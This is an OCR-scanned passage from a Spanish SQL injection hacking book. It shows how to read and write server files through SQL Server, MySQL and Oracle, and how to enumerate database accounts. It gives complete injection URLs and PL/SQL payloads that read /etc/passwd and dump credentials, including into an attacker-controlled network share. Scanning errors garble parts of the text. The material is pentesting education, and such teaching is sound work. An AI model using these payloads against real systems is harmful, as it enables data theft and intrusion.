declare @shell int, @zip int, @comando varchar(8000);

execute sp_ OACreate 'Shell. Application', @shell out;

set @comando = '"NameSpace("c:\prueba'zip.zip")';
execute sp_ OAMethod @shell , @comando , @zip OUT ;
set @comando = 'CopyHere("c:\prueba'zip.txt")" ;

execute sp_ OAMethod @zip , @comando;

execute sp_OADestroy @shell;
execute sp_OADestroy (@zip;

-- Guardar el fichero comprimido en una tabla
create table zip(v varbinary(max));
insert into zip select * from openrowset(bulk 'c:\prueba'zip.zip', SINGLE_BLOB) C

Tan solo quedaria crear las URLs que fuercen la ejecucion de este codigo y proceder a extraer el
contenido de la tabla Zip mediante técnicas de SOL Injection.

2.8.MySQL

En los Sistemas Gestores de Bases de Datos MySQL, la funcion load file, disponible a partir de la
version 3.23, permite cargar el contenido completo de un fichero como una cadena de bytes:

]ielect load file('/etc/passwd') ‘

... lo cual convierte la extraccién del fichero en algo trivial. Y, ademas, funciona con archivos de
cualquier tipo, no sélo de texto. Eso si: el tamafio maximo de fichero a extraer viene dado por el
valor del parametro max_allowed packed.

. En el siguiente ejemplo, se utiliza esta funcion para revelar el codigo fuente de un script PHP

alojado en el mismo equipo que el motor de bases de datos:

http://webserverl/pruebas/producto.php?id=-1 union
select null,load_file('/var/www/pruebas/mysql.inc.php'),null,null
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A primera vista podria parecer que no se ha conseguido ningun resultado con esta inyeccion:

[ r il W e dl i s Lu 5%1
K% = __...;.m ,D C X H 2 \«ebser\erl
Usando MySQL
Datos sobre el producto: .
Referencia Nombre Precio
Buscar producto
B & o B ae i + 15"’_;_]

Fig 4.7: Parece que no hay nada

. pero en el codigo fuente de la pagina puede leerse el codigo fuente del archivo seleccionado,
oculto por las etiquetas del codigo PHP:

c‘._| http://webserverl/pruebas/producto.phpfid=-1 union select nu... @I&

Archivo Editar Formatear |

17

18 | // Obtener el r e filas de un resultado

13 | function numero_filas($resultado) {

20 return mysql_ ts($resultado);

21 }

22

23

24 obtener un campo se & 1ida
["nombre-de-la-columna”] ;

25 |

26 | function fila($resultade, $i) {

27 mysql_data_seek($resultado, $i); [

28 eturn mysgl_fetch_assoc{$resultado); |E

|
35 | </tdy<tdr</td>ctd></td></tro¢/table><h3»Buscar producto

Fig 4.8: Revelacion de codigo fuente

.y, como puede observarse en la imagen, a veces se pueden obtener datos de interés, como las
credenciales utilizadas para el acceso a la base de datos.

Una de las herramientas de SOLbfTools, mysqlget, utiliza la funcion load file junto con técnicas
de Blind SQOL Injection para automatizar la extraccion de ficheros. Como se puede ver en la
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imagen, basta con configurar una URL vulnerable, indicar la ruta del archivo a descargar y sefalar
la palabra clave que aparece en las paginas True:

c:nsglbftoolsN\mysql bftools\win32>mysqlget "htty
" Ysetc/passwd" “Carlos"

http-sgl blind downloader SRevision: 1.35 %

iloPreversing.org http://uwu.reversing.ory

THIS PROGRAM DELIBERATELY CONTAINS SEUERAL
BUFFER OUERFLOUS. SO USING AGAINST A ROGUE
SERVER MAY GIUE MORE PROBLEMS THAN RESULTS

cross—post: www.hacktimes.com www.unsec.net

host: ¢
port
uri
arg 1

Fil setc/passud

mat.: Carlos

[+]1 dicctionary lenght: 425
[+] dict loaded 388 hytes
»ru0101ng ;
file is 55 hytes long

88

——BOF——
root:x:@A:@:roo0t:/root: /hln/hagh
daemo :1:daemon:/us

-EOF——

total hits: 2314

Fig 49:escarand u1ftcipasswd a través de Internet con mysqlget

Otra opcion para obtener un fichero consistia en cargarlo en una tabla temporal y extraerlo
posteriormente de ésta. En MySQOL es posible realizar esta tarea de, al menos, dos formas distintas.
La primera utilizaria de nuevo load _file:

UPDATE tabla SET columna=LOAD_FILE("/tmp/file') WHERE id=1;

Si bien esta opcion presenta los mismos condicionantes que el método anterior. Mas aun, serian
necesarios privilegios adicionales, ya que es necesario crear la tabla e insertar la fila y actualizarla.

La segunda posibilidad es usar la instruccion “load data infile”, disponible a partir de la version 5
de MySQL, que sirve para importar ficheros de texto a una tabla. Como principal novedad, la
limitacién especificada por el pardametro max_allowed packed se aplicara no al archivo completo,
Sino a cada una de sus lineas, lo que hara posible el acceso a ficheros de mayor tamafio.

‘C]aro que no todo iba a ser ventajas. Entre los inconvenientes se cuenta que “load data infile” sélo

Se€ puede usar con ficheros de texto.

Y, sobre todo, que la implementacion del acceso a bases de datos MySQL desde scripts PHP no
Permite la ejecucion de consultas apiladas, lo que en muchos casos impedira inyectar la orden
“load data infile”.
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Debe, en todo caso, seflalarse que se trata de una restriccion que puede no ser aplicable g otro
entornos. Por ejemplo, el proveedor de MySOL para ASP.NET si soporta las consultas apiladgg
Considérese a efectos de ejemplo el siguiente script ASPX: ;

1| <% @Page Language="VB" debug="true" %> _‘___‘—_"‘
2| <% @Import Namespace = "System.Data" %> ____-_-:
3| <% @Import Namespace = "MySql.Data.MySqIClient" %> i
4 e
5 | <script language="VB" runat="server"> _-___-_
6 | ' Ejecutar al cargar la pagina e
7 | Sub Page_Load ____-
8| If Request.QueryString.Get("id") <> "" then B
9 Dim conexion as MySglConnection
conexion = new MySglConnection( _
10 "server=192.168.56.101;" & _
"user id=root;password=123;" & _
"database=almacen; pooling=false;")
11 Dim sql ="select id, nombre from productos where id =" & _
Request.QueryString.Get("id")

12

13 ' Preparar el volcado de datos

14 Dim resultado = new MySqlDataAdapter(sql, conexion)

15 Dim datos = new Dataset()

16

17 ' Volcar los datos en el grid Salida

18 resultado.Fill(datos, "productos")

19 Salida.DataSource = datos

20 Salida.DataBind()

21| EndIf

22 | End Sub

23 | </script>
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24
25
26
27
7

<html>

<head><title>Prueba</title></title></head>

<body>

<h1>Prueba de MySQL en ASP.NET</h1>

<form method="GET" action="prueba.aspx">

Buscar: <input type="text" id="id" name="id">

<input type="submit" value="Buscar">

</form>

<hr />

<h3>Resultados</h3>

3
E:334
a5

<form runat="server">

36

<asp:DataGrid id="Salida" runat="server" />

37

</form>

38

' 39

</body>

40

</html>

OO emmemmo-cox|[@me x|

Prueba de MySQL en
ASP.NET

Buscar: | Buscar |

Resultados

id_nombre
1 tornillo

Fig. 4.10: Consultas @iladas en MySQL bajo ASP.NET
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Aprovechando la vulnerabilidad existente en las lineas 11 a 20, es posible inyectar las operacioneg
necesarias. En primer lugar se debe ejecutar la consulta necesaria para la creacion de la tably
temporal sobre la que volcar el fichero:

http://webserver3/prueba.aspx?id=1; create table
temporal( datos varchar(8000))

De forma silenciosa, la tabla es creada y ya se esta en condiciones de insertar en ella el contenido
del fichero:

http://webserver3/prueba.aspx?id=1; load data infile etc/passwd' into table temporal

Notese que el servidor web y el servidor de bases de datos, en este caso, estdn ubicados en
distintos equipos. En este caso, el primero de ellos utiliza sistema operativo Microsoft Windows
mientras que el segundo se ejecuta sobre Linux.

Es en éste ultimo donde se ejecutara el codigo SQL y, por tanto, de donde se extraera el fichero
lete/passwd.

Si no conviniera aplicar técnicas de Serialized SQL Injection, sera necesario afiadir una columna a
la tabla que permita descargar las filas en el orden adecuado:

http://webserver3/prueba.aspx?id=1; alter table temporal add column num integer
auto_increment unique key

Ya solo quedaria extraer la toda lainformacion almacenada en la tabla mediante la utilizacién de
técnicas de SOL Injection para después terminar borrando la tabla temporal de que se ha hecho uso
para almacenar el contenido del fichero.

En lo que respecta a las operaciones de escritura se puede hacer uso de las clausulas “/INTO
OUTFILE” e “INTO DUMPFILE™ que permiten crear ficheros de texto y ficheros binarios,
respectivamente.

En el siguiente ejemplo se copia el contenido de una tabla en un directorio publicado en un
servidor web:

http://webserver1/pruebas/producto.php?id=-1 union select null,
concat(nombre,"',contrasena),null,null from almacen.usuarios into outfile
"/var/www/roundcubemail-0.6-beta/logs/1 .txt'

... lo cual puede ser una alternativa interesante a realizar un ataque de Blind SOL Injection.

Aunque el servidor pueda responder a la anterior URL con una pagina de error tal y como se
aprecia en la siguiente imagen:
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(5 (=] e
ﬁ' x 'I::im pP~-a e X || 2 webserverl

Usando MySQL

Warning: mysql_num_rows() expects
parameter 1 to be resource, boolean given

in /var/www/pruebas/mysqlinc.php on line 19
Referencia no encontrada

Buscar producto

L i #125%

Fig 4.11: Error

... la sentencia SQL se habra ejecutado y el fichero estara en el servidor web, a disposicion de
quien pudiera solicitarlo:

e

- . = mvey
gg [ & http://webser... ,0 - B QX || & webserverl

[ webserverl

\N admin:passadmin \N \I http://webse
\N usuariol:passwordl \N
\N usuario2:password2 \N
\N leet:PE55wlrd \N \N

—_ e . T
VR e H125% ~

Fig 4.12: hitp://webserver | /roundcubemail-0.6-beta/logs/ I .txt

Otra posible ubicacion para los archivos es una carpeta compartida en un equipo controlado por el
atacante. Si MySQOL se ejecuta en una maquina cuyo sistema operativo permite el uso de rutas
UNC, sera posible realizar inyecciones de cédigo como:

@Iect load_file('c:\\prueba'a.txt') into outfile \\\imaquina_atacante\\carpeta‘\a.txt’ ‘

.. 0

@ect * from almacen.usuarios into outfile "\\maquina_atacante\\carpeta\\a.txt' J

Para que estas instrucciones produzcan el resultado esperado, es necesario que el atacante haya
configurado los permisos de su carpeta de modo que se permita la autenticacion nula, ya que ésta
es asi como MySQL realiza las conexiones.
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En la creacion de ficheros binarios, para incorporar caracteres no imprimibles a una cadena, se
puede usar la notacion hexadecimal como, por ejemplo:

‘ select 0x41000a0142 into dumpfile "tmp/ejemplo’ :

...donde cada par de digitos representa un caricter. En este caso, el resultado estaria formado por
una letra “A” (codigo ASCII 65, 41 en hexa) seguido de un caracter nulo (00), un retorno de carro
(0a) y una “B” (42). A la hora de realizar concatenaciones, la funcion concat funciona de la formg
acostumbrada. Asi:

| select concat(0x0a41, 0x42) |

...produciria un retorno de carro, una “A” y una “B”.

2.9.0racle Database

Llegado es ya el turno de ORACLE y, en lo referente a este motor de bases de datos, la presente
discusion debe comenzar presentando los objetos de tipo directory, cuya mision es reducir al
minimo imprescindible las dependencias del cddigo SQL o PL/SQL con respecto a los sistemas
operativos utilizados.

Un directory no es mas que una referencia a un directorio o una carpeta de un sistema de ficheros.
Asi, en ordenadores con Unix, Linux y similares, se podria ejecutar una instruccion como:

| CREATE DIRECTORY dirtemporal AS '/var/www' j

... y en equipos con Windows:

l CREATE DIRECTORY dirtemporal AS 'c:\prueba' j

... para que, a partir de ese momento, todas las referencias se hagan a dirfemporal, no a la carpeta
real.

Los archivos, por su parte, pueden ser representados de varias formas. Una de ellas viene de la
mano del paquete UTL_FILE, incluido a partir de la version 7.3.4 y que ha ido mejorando sus
prestaciones hasta convertirse actualmente en un gestor de ficheros completo.

Su principal problema es que necesita de la configuracion de una variable de inicio que puede no
estar configurada. Por defecto, este paquete solo puede acceder al sistema de ficheros marcado por
la variable de arranque UTL_FILE DIR. Si esta variable no tiene ningin valor asociado en las
variables de arranque que se configuran en el archivo de inicio, entonces no podra utilizarse 1a
libreria UTL_FILE. Si, por el contrario, tiene el valor “*” entonces se podra a acceder a todos 10s
ficheros del sistema operativo mediante PL/SQOL.
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Sin embargo, a medio camino entre la no configuracion de la variable o que se permita el acceso a
todos los ficheros, se encuentra la posibilidad de acceder a algunas rutas del sistema de ficheros
que estén en la variable UTL_FILE _DIR.

Para representar los archivos, este paquete define el tipo de datos File Type. Entre sus funciones y
atributos figuran:

utl file.fclose

Cierra un fichero

utl_file.fclose all

Cierra todos los ficheros abiertos

utl_file.fopen

Abre un fichero.

utl_file.is_open

Indica si el fichero esta abierto

utl file.fcopy

Copia un fichero

utl_file.fflush

Fuerza la escritura del buffer.

utl file.fgetattr

Obtiene los atributos.

utl_file.get line

Lee una linea del fichero

utl_file.fremove

Borra un fichero

utl_file.frename

Renombra un fichero

utl_file.fseek

Usada en accesos directos o indexados

utl_file.getline
utl_file.getline nchar
utl file.get rw

Lee una linea como bytes, nchar o raw, respectivamente

utl_file.get raw

Lee un bloque de datos en bruto

utl_file.new_line

Introduce una o varias lineas vacias

utl_file.put

Introduce una variable en el fichero

utl_file.putf

Introduce texto con formato en el fichero

utl_file.put_line

Introduce linea con retorno de carro

utl_file.put_nchar

Introduce un nchar

utl_file.put line nchar

Introduce un nchar con retorno de carro

utl_file.putf nchar

Introduce nchar con formato

... Suficientes como para satisfacer las necesidades de acceso a ficheros de cualquier atacante, ya
desee realizar operaciones de escritura como de lectura. En cuanto a la presente exposicién, para
copiar el contenido de un archivo en una tabla podria utilizarse el siguiente codigo PL/SOL:

|EXECUTE BEGIN EXECUTE IMMEDIATE ‘'create table mitabla(orden int, valor
varchar2(4000))'; END;
DECLARE
fichero UTL_FILE.FILE TYPE;
EEE




|
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texto varchar(4000);
contador int;
BEGIN
contador = 1;
fichero := UTL_FILE.fopen('DIRTEMPORAL",'a.txt','r');
LOOP
BEGIN
UTL_FILE.get_line(fichero, texto);
IF texto IS NULL THEN
texto:=";

END IF;

insert into mitabla(orden, valor) values (contador, texto);
contador := contador + 1;
EXCEPTION WHEN NO_DATA_FOUND THEN EXIT;
END;
END LOOP;
END:
/

Como puede observarse, la tabla temporal tiene una columna, orden, que se utiliza para determinar
el o.rc.len de las filas. Podria haberse usado en su lugar ROWNUM, pero el valor de esta “columna
ficticia” no es asignado de forma permanente a una fila (se determina en tiempo de ejecucion) y
aunque es poco probable, podria variar entre distintas llamadas. ,

Becuér‘dese que, como se vio al principio de este capitulo, existen varias situaciones en que la
myef.:caén de PL/SQL es posible, incluyendo los casos en que se dispone de privilegios para usar la
funciéon  SYS.KUPPSCREATE_MASTER PROCESS, aquellos en que hay otras funciones
vu.lnerables a SOL Injection, o las inyecciones que ocurren dentro de bloques PL/SQOL, como la
existente en el script Oracle.php presentado en el punto 1.1. 1

Para faciltar la lectura de las URLs generadas, se partird de éste tltimo supuesto, con lo que, a la

%mra de. inyectar codigo, habrd que tener en cuenta que ya se estara dentro de un grupo de
instrucciones “BEGIN ... END”.

Volwendo.a] codigo SOL anterior, si se intentara inyectar todo en una (inica peticion, la alusién
Ia. tabla mitabla en la sentencia INSERT del tltimo bloque producira un error, antes iniciar 12
ejecucion, en caso de que mitabla no exista.

Una ppsﬂale solucion serfa realizar dos inyecciones en dos peticiones independientes: una que cree€
los objetos y otra que rellene la relacién con los datos del archivo.
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otra consistiria en convertir el altimo bloque en una cadena de texto y ejecutarla usando
«EXECUTE IMMEDIATE”. De este modo, la compilacion del codigo tendra lugar en tiempo de
ejgcucién, una vez creada la tabla:

/% La aplicacion ya nos metio en un blogue PL SOL */
DECLARE

iint;
BEGIN

i:=1;

f.__-f+ 1;

/* Inicio de codigo a inyectar */

EXECUTE IMMEDIATE 'create directory DIRECTORIO AS "c:\prueba™;
EXECUTE IMMEDIATE 'create table mitabla(orden int, valor varchar2(4000))";
EXECUTE IMMEDIATE 'delete from mitabla';

EXECUTE IMMEDIATE 'DECLARE fichero UTL_FILE.FILE_TYPE; texto varchar(4000);
contador int:BEGIN contador := 1; fichero := UTL_FILE.fopen("DIRECTORIO","a.txt","r");
LOOP BEGIN UTL _FILE.get line(fichero, texto); IF texto IS NULL THEN texto:="";
END IF: insert into mitabla(orden, valor) values (contador, texto);  contador := contador + 1;
EXCEPTION WHEN NO _DATA_FOUND THEN EXIT; END; END LOOP;END:";
EXECUTE IMMEDIATE 'drop directory DIRECTORIO';

/* Final de codigo a inyectar */

END;

/

Nétese que para poner una comilla dentro de una cadena se utilizan dos comillas consecutivas.
Todo esto puede ser inyectado mediante una URL como:

http://webserver1/pruebas/oracle.php?ins=2");EXECUTE  IMMEDIATE  ‘create directory
DIRECTORIO AS "c:\prueba™; EXECUTE IMMEDIATE 'create table mitabla(orden int, valor
varchar2(4000)); EXECUTE IMMEDIATE 'delete from mitabla’; EXECUTE IMMEDIATE

|'DECLARE fichero UTL FILE.FILE TYPE; texto varchar(4000); contador int;BEGIN

contador := 1: fichero := UTL FILE.fopen("DIRECTORIO""a.txt","r"); LOOP BEGIN
UTL _FILE.get line(fichero, texto); IF texto IS NULL THEN texto:=""; END IF;

insert into mitabla(orden, valor) values (contador, texto); contador := contador %2b 1;
EXCEPTION WHEN NO DATA FOUND THEN EXIT, END:; END LOOP:END;"
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... donde la dltima instruccion se ha modificado para tener en cuenta que la aplicacion afade upgy

comille.l simple y un cierre de paréntesis al final. Con ello, se crear la tabla y se rellenard con g
contenido del fichero “c:\prueba‘a.txt”.

EXECUTE IMMEDIATE ('drop directory DIRECTORIO

Para obtener los datos, a falta de otra opcién mejor, habria que buscar una inyeccion de codigo
SQL que pudiera producir cambios en el comportamiento de la aplicacion. En este caso, a ciegas

- . . . . s s
ya que ¢ésta solo muestra el niimero de registros antes y después de que se produzcea la insercion de

datos:
é : ) @ http://webser., O~ 2 X I @y
Num de registros 30
Num de registros 31
‘ H125% ~
e

Fig 4.13: Salida

En principio, si todo funciona correctamente, la diferencia entre una y otra linea deberia ser de un
unico registro. En caso de que este script PHP sea poco utilizado, puede inyectarse codigo que
mserte un registro adicional si una condicion es cierta:

thp:f’/webserverl/pmebas;’oracle‘php?ins=2'); insert into test select -1 from dual where (select
bitand(1,ascii(substr(orden, 1,1))) from mitabla where orden=1)=0 or ('1'='

-

a' \'[@ http://webser., 0~ B ¢ X | D

Num de registros 31
Num de registros 33

M125% ~

Fig 4.14: Condicion cierta -> se insertan dos registros

En caso de que la tabla sufriera inserciones de forma habitual, habria que afiadir un nimero
suficientemente grande de filas como para que se pueda asegurar que los incrementos no se deben
al funcionamiento normal de la aplicacion.

|
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En la imagen anterior, al haberse insertado dos registros, se puede deducir que la condicion
inyectada:

| (select bitand(1,ascii(substr(orden,1,1))) from mitabla where orden=1)>0

.. se evalta a grue. Por tanto, el bit menos significativo del primer caracter de la primera linea del
fichero vale 1.

También es posible extraer los datos sin necesidad de crear una tabla, si bien con mas limitaciones
sobre el tamaiio del fichero a leer. Para ello, seria posible crear una funcion PL/SQL como:

create or replace function leefichero return varchar2 is
fUTL_FILE.FILE TYPE;
c raw(32767);

begin
fi=utl_file.fopen('DIRTEMPORAL"'a.txt','r');
utl_file.get raw(f,c,32767);
return utl raw.cast _to_varchar2(c);

end leefichero;

... donde DIRTEMPORAL seria un objeto de tipo directorio creado previamente (CREATE
DIRECTORY). Nétese como UTL RAW.CAST TO VARCHAR?2 convierte el valor binario en la
correspondiente cadena. Dentro de un bloque PL/SQOL, la instruccion “EXECUTE IMMEDIATE”
permitira insertar la instruccion de definicion de datos:

BEGIN

EXECUTE IMMEDIATE 'create or replace function leefichero return varchar2 is f
UTL_FILE.FILE_TYPE;c raw(32767);begin f :=
utl_file.fopen("DIRTEMPORAL","a.txt","r"); utl_file.get_raw(f,c,32767); return
utl_raw.cast_to_varchar2(c); end leefichero;';

END;

-.. y la correspondiente URL seria:

http://webserverl/pruebas/oracle.php?ins=2'); EXECUTE IMMEDIATE 'create or replace
function leefichero return varchar2 is fUTL FILE.FILE TYPE; ¢ raw(32767); begin f:=

| utl_file.fopen("DIRTEMPORAL","a.txt","r"); utl_file.get raw(f,c,32767); return

utl_raw.cast_to_varchar2(c); end leefichero;';delete from test where ('l 11'='

Obsérvese la ultima instruccion:
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Iﬁlete from test where (' 1 1'='

+-- que, una vez procesada por la aplicacion, resultard en:

} delete from test where ('111'=")

oo que ara i icid n

ql no hd'[;?. nada, pol’ ser slempre falsa Ia. COndICIOn espcciﬁcada. (:L]alldo se in yectla de
Ln l) ()qlle PL n;QL, mllChaS VECCS €8 pl‘eférible hacer cosas como és[d a p()IlEl un comentarj
I

4 : ; .
ule el resto de la linea de 6rdenes. Téngase en cuenta que es posible que existan dijf;

anidaciones de bloques de codi - crent
: go, bucles, etc. vy, a prior ; - centes
&faouiar. ¥, a priori, se desconoce la estructura de| codigo g

C()mO [ESUIiadO la [uIlCIO le icnero retornara €l co n d de t()d“ (& 'I](the 8] %
nte 1ao C,

SQL> select leefichero() from dual;

LEEFICHERO()

Linea |
Linea 2
Linea 3

| Otra linea

-+ que podria ser obtenida siguiendo los métodos habituales

Este mé i : .
Iecturznidtold(l)' t}lleﬂe veniaja de que no precisa crear ninguna tabla pero, a cambio, realiza una
S ; h‘C ero completo c?n cada peticion. Para optimizar el proceso, y también para hacer

icheros de gran tamafio, puede ser conveniente hacer uso de (/7] FILE.FSEEK(), que

permite seleccionar el punto del fichero a i
i partir del cual se desea leer y extraer bloques de datos de

Medi imi i i
. ar;(t%este] procedimiento, si .OfEACLE se ¢jecuta sobre Windows, es posible el acceso a rutas
partidas, lo que puede permitir copiar datos en una carp

o eta de un equipo rel
atacante o en una ubicacion a la que éste pueda acceder: quipo controlado po

declare

salida varchar2(1024);

fichero UTL_FILE.FILE TYPE;
begin -

EXECUTE IMMEDIATE 'create directory DIRREMOTO AS "\192.168.56.103\datos":
select sys xmlagg(xmlelemem(ﬁIa,xmIferesl(nombre,contrasena)) o o

Hacking de Aplicaciones Web: SOF. Inje
C'an

L

tro de |
0 que q
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capitt

xmlformat('Usuarios')).getstringval() into salida from almacen.usuarios;
fichero = UTL_FILE.fopen('DIRREMOTO" salida.txt’,'w');
atl file.put_line(fichero, salida);
utl_file. fflush(fichero);
end:
/

|} salida.txt - Bloc de notas
Archivo Edicion Formato Ver

Ayuda

<7?xml version="1.0"7>

<Usuarios> .
<FILA><NOMBRE>admin</NOMBRE><CONTRASENA>passadmin</COl

-

a7

Kl [ |

Fig 4.15: Cuentas

Otra caracteristica de las Gltimas versiones de Oracle Database que puede ser de utilidad es el
soporte de external tables, tablas cuyos datos se encuentran en una fuente de datos externa como,

por ejemplo, un sistema de archivos.

Antes de Oracle 10g, las external tables eran relaciones de solo lectura. O sea, y a los efectos de la
presente discusion, solo era posible leer de los ficheros en que éstas se almacenan. Pero esta
Version incorpora ya soporte para escribir en ellas, permitiendo modificar el contenido de archivos

‘almacenados en el servidor.

Para crear una de estas relaciones se usard una instruccién como:

Ereatc table ATXT (datos varchar2(4000))
organization external (
TYPE ORACLE LOADER default directory DIRTEMPORAL

access parameters ( records delimited by newline )
location ('a.txt")

D

... donde DIRTEMPORAL es el directorio creado anteriormente. A partir de ese momento, ATAT
- podra ser utilizada como una tabla mas, s6lo que sus datos se leeran del fichero “c:\pruebala.ixr™:

SQL> select * from atxt;

DATOS
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Linea 1
Linea 2
Linea 3

Otra linea

6 rows selected.

________-_'_'—-—u

Con ello, el problema queda reducido a extraer datos de una tabla. Para inyectar este codigo SQL
se puede usar una URL como la siguiente:

http://webserverl/pruebas/oracle.php?ins=2"); execute immediate 'Create table ATXT (datos
varchar2(4000)) organization external (TYPE ORACLE LOADER default directory
DIRTEMPORAL access parameters ( records delimited by newline ) location ("a.txt")):delete
from test where ("111'='

Cuando se necesite acceder a ficheros binarios o de gran tamafio, quiza sea buena opcién hacer
uso de la biblioteca para Large Objects de ORACLE, DBMS LOB. Las siguientes instrucciones
sacan partido de ella para realizar la importacion de un archivo binario a una tabla:

CREATE DIRECTORY DIRTEMPORAL AS 'c:\prueba';
CREATE TABLE tabtemporal(datos BLOB);
DECLARE
1_bfile BFILE; | blob BLOB;
BEGIN
INSERT INTO tabtemporal (datos) VALUES (EMPTY BLOB()) RETURN datos INTO
1 blob;
I_bfile := bfilename('DIRTEMPORAL', 'a.txt");
DBMS_LOB.fileopen(l_bfile, DBMS_LOB.File Readonly);
DBMS_LOB.loadfromfile(l_blob,l_bfile, DBMS_LOB.getlength(l_bfile)):
DBMS_LOB.fileclose(l_bfile);
COMMIT;
EXCEPTION WHEN OTHERS THEN ROLLBACK;
END;
/

Todo ello puede ser automatizado mediante una URL como la siguiente:

http://webserver1/pruebas/oracle.php?ins=2");execute immediate 'CREATE TABLE
tabtemporal(datos BLOB)':execute immediate 'DECLARE 1_bfile BFILE; I blob BLOB;BEGIN
INSERT INTO tabtemporal (datos) VALUES (EMPTY BLOB()) RETURN datos INTO
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[T blob;1_bfile := bfilename("DIRTEMPORAL", "a.txt");DBMS_LOB.fileopen(l_bfile,
: ]5BMS_LOB.FiIe_ReadonIy);DBMS_LOB.loadfromﬁle(l_b]ob,l_bﬁle,DBMS_LOB.gcllength(l_b
| ile)):DBMS_LOB fileclose(l_bfile);COMMIT:EXCEPTION WHEN OTHERS THEN

ROLLBACK; END:";delete from test where ('L11'='

La columna datos de tabtemporal almacenara el contenido del fichero en formato binario:

[sQL> select * from tabtemporal;

[pATOS

4-(-:696E656 120310D0A4C696E656120320D0A4C696E656120330D0A0D0A4F747261206C696

E65610D0OA0ODOA

Debe tenerse cuidado en qué funciones se utilizan para extraer esta informacion, puesto que las
que usadas habitualmente para las cadenas pueden producir resultados inesperados al aplicarlas a

~ un BLOB. En su lugar, se puede recurrir a DBMS.LOB.GETLENGTH, para obtener la longitud y
- DBMS_LOB.SUBSTR para extraer un byte.

Por otro lado, DBMS LOB.SUBSTR retorna un valor RAW cuando se aplica a BLOBs o ficheros,
que deberd ser convertido a un valor numérico mediante una llamada a
UTL _RAW.CAST TO _BINARY_/NTEGER.

Y, finalmente, el orden de los parametros de DBMS LOB.SUBSTR no es el acostumbrado: en
primer lugar figurara el BLOB, despues el nimero de bytes a extraer y, finalmente, el offset.

SQL> select dbms_lob.getlength(datos), datos from tabtemporal;

DBMS LOB.GETLENGTH(DATOS)

DATOS

43
4C696E656120310D0A4CH96E656120320D0A4C696E656120330D0A0D0A4FT747261206C696
E65610D0A0DOA

SQL> select dbms lob.substr(datos,1,2),

2 utl_raw.cast_to_binary_integer(
3 dbms_lob.substr(datos,1,2)
4 )

5 from tabtemporal -- Segundo character ;
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DBMS_LOB.SUBSTR(DATOS,1,2)

UTL_RAW.CAST TO BINARY INTEGER(DBMS LOB.SUBSTR(DATOS,1.2))

69
105

Por lo demds, el procedimiento de extraccion de datos seria idéntico al utilizado para las cadenas,

Si se van a aplicar técnicas de Blind SQL Injection, puede ser conveniente definir una funcién que
lea un cardcter del archivo y retorne su codigo ASCI sin necesidad de usar ninguna tabla:

create or replace function leecaracter(fichero varchar2, posicion numeric) return numeric is
|_bfile BFILE; resultado RAW(1);

begin
|_bfile := bfilename('DIRTEMPORAL', fichero);
DBMS_LOB . fileopen(l_bfile, DBMS LOB.File Readonly);
resultado:=DBMS_LOB.substr(l_bfile,1,posicion);
DBMS_LOB fileclose(l_bfile);
return utl_raw.cast_to_binary integer(resultado);

end leecaracter;

O, en su “version” URL:

http://webserverl/pruebas/oracle.php?ins=1');execute immediate 'create or replace function
leecaracter(fichero varchar2, posicion numeric) return numeric is 1 bfile BFILE:resultado
RAW(1);begin 1_bfile := bfilename("DIRTEMPORAL", fichero);DBMS_LOB.fileopen(l_bfile,
DBMS_LOB.File Readonly); resultado =
DBMS_LOB.substr(l_bfile,1,posicion);DBMS_LOB.fileclose(l_bfile);return
utl_raw.cast_to_binary integer(resultado);end leecaracter;";delete from test where ("1 11'='

DBMS _LOB también permite crear y modificar archivos. Por ejemplo, para crear un fichero
binario a partir de una tabla, se puede utilizar un bloque PL/SQL como el siguiente:

DECLARE
longitud NUMBER;
posicion NUMBER;
a_escribir NUMBER;

1_blob BLOB;
1_buffer RAW(32767);

| fichero UTL_FILE.FILE TYPE;

'C’@_i.f_m’o IV. Objetivos Llamativos
BEGIN

SELECT datos INTO 1_blob FROM tabtemporal;
SELECT dbms_lob.getlength(l_blob) INTO longitud FROM dual;

-- El tamafio de escritura no puede ser superior a 32767,
- lo que puede oblibar a escribir el fichero en varias veces
|_fichero := utl_file.fopen('DIRTEMPORAL', 'Zaxt,'wb', 32767);

posicion := 1;
while posicion <= longitud loop
-- Determinar el numero de bytes a escribir
a_escribir = longitud - posicion + 1;
ifa_escribir > 32767 then
a_escribir :=32767;
end if;

-- Copiar la parte del blob a un buffer
dbms_lob.read(l_blob, a_escribir, posicion, 1_buffer);

--Y escribirlo al fichero
utl_file.put_raw(l_fichero, I_buffer, TRUE);

-- Avanzar la posicion
posicion := posicion + 32767;
end loop;
utl file.fclose(l fichero);
END;
/

Previamente, habra sido necesario rellenar la tabla tabtemporal con los contenidos que se desean
dar al fichero. El siguiente codigo lo hace de forma manual:

DECLARE
1_blob BLOB;
cadena varchar2(32767);

BEGIN

delete from tabtemporal;

dbms_lob.createtemporary(l_blob, true);

cadena := 'Prueba’ || chr(10) || 'Otra linea";

dbms lob.writeappend(l blob,length(cadena), utl raw.cast to_raw(cadena));
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cadena := chr(10) || 'Y otra mas'";
dbms_lob.writeappend(l_blob,length(cadena), utl_raw.cast_to_raw(cadena));
insert into tabtemporal(datos) values (1_blob);

END;

/

... todo lo cual, como en las ocasiones anteriores, puede ser incrustado en la peticion haciendo uso
de “EXECUTE IMMEDIATE”.

3. Cuentas de la base de datos

3.1.Listar los usuarios

Obtener las credenciales de acceso a las bases de datos puede ser tan llamativo como ejecutar
programas o leer y escribir ficheros. No en vano, cuentas de usuario y contrasefias son dos de los
trofeos que se asocian a todo hacker en el imaginario colectivo.

Y hay que romper los falsos mitos y dar a cada cosa la importancia que tiene. Porque si bien es
cierto que las contrasefias de acceso a un sistema son de gran interés para un pentester, no lo es
menos que éstas, por si solas, son s6lo la mitad de lo que el usuario debe introducir para iniciar la
sesion. Quiza la mitad mas llamativa, pero mitad al fin y al cabo.

La otra mitad son los identificadores de usuario. Y si el atacante (si la aplicacion) dispone de los
privilegios necesarios, estos identificadores suelen estar disponibles mediante sencillas consultas
SQOL:

BASE DE DATOS | CONSULTA

ORACLE select username from all_users;

MySQL select host,user from mysql.user;

SQL Server select name, loginname, dbname from master..syslogins;

Si, ademas, desea conocer qué cuenta se esta utilizando para realizar los accesos a la base de datos,
puede utilizar las siguientes instrucciones:

BASE DE DATOS | CONSULTA
ORACLE select user from dual,
MySQL select user();

SQL Server select user_name();
EEE

v
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3.2.Contraseiias de conexion a la Base de Datos

Una vez determinadas las cuentas, obtener sus correspondientes contrasefias es algo mis
complicado. Y es que los diferentes motores de bases de datos utilizan técnicas de cifrado para
almacenarlas. Tipicamente, mediante funciones hash,

Asi, en las versiones de ORACLE anteriores a la 11g, esta informacién se almacena cifrada con un

